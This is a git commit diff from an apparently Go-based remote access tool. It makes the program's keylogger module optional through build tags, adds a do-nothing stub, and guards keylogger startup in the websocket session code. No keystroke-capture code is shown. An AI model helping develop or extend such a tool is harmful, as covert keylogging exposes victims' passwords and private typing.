make keylogger optional

This commit is contained in:
KingKDot
2026-05-10 17:06:39 -05:00
parent f5f4c07f0d
commit 05eb7385c1
11 changed files with 78 additions and 16 deletions
@@ -1,3 +1,6 @@
//go:build !nokeylogger
// +build !nokeylogger
package keylogger
import (
@@ -1,6 +1,5 @@
// go:build darwin
//go:build darwin
// +build darwin
//go:build darwin && !nokeylogger
// +build darwin,!nokeylogger
package keylogger
@@ -1,4 +1,4 @@
//go:build !windows && !linux && !darwin
//go:build !windows && !linux && !darwin && !nokeylogger
package keylogger
@@ -0,0 +1,24 @@
//go:build nokeylogger
// +build nokeylogger
package keylogger
import "time"
type Keylogger struct{}
type FileInfo struct {
Name string
Size int64
Date time.Time
}
func New() *Keylogger { return nil }
func (k *Keylogger) Start() error { return nil }
func (k *Keylogger) Stop() {}
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
func (k *Keylogger) ClearAll() error { return nil }
func (k *Keylogger) DeleteFile(string) error { return nil }
func (k *Keylogger) FlushNow() {}
@@ -1,6 +1,5 @@
// go:build linux
//go:build linux
// +build linux
//go:build linux && !nokeylogger
// +build linux,!nokeylogger
package keylogger
@@ -1,6 +1,5 @@
// go:build windows
//go:build windows
// +build windows
//go:build windows && !nokeylogger
// +build windows,!nokeylogger
package keylogger
+6 -4
View File
@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
defer env.Plugins.Close()
env.Keylogger = keylogger.New()
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
if env.Keylogger != nil {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
}
}
dispatcher := handlers.NewDispatcher(env)